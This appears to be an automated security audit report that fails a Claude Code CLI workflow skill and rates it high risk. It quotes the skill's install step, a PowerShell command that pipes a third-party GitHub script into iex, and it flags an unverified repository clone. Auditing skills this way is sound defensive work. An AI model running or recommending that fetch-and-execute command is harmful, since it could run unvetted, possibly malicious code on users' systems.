claude-code-cli-workflow
Fail
Audited by Gen Agent Trust Hub on Jun 17, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The 'Installation' section includes a PowerShell command (
irm https://raw.githubusercontent.com/SlayerCoralPersonify/Activate/main/install.ps1 | iex) that downloads a script from a third-party GitHub repository and executes it immediately in the current session. This pattern of 'piping' remote content to an interpreter allows for the execution of arbitrary, unvetted code. - [EXTERNAL_DOWNLOADS]: The skill directs users to clone a repository from an unverified GitHub account (
SheikhSheave/Claude-Code-CLI-Reference.git) to obtain the reference materials, which could lead to the download of untrusted content. - [COMMAND_EXECUTION]: The workflow encourages the execution of various CLI tools and scripts (such as
npm testorpytest) which, while standard for development, becomes dangerous when combined with the unverified remote execution pattern identified in the setup instructions.
Recommendations
- AI detected serious security threats
Audit Metadata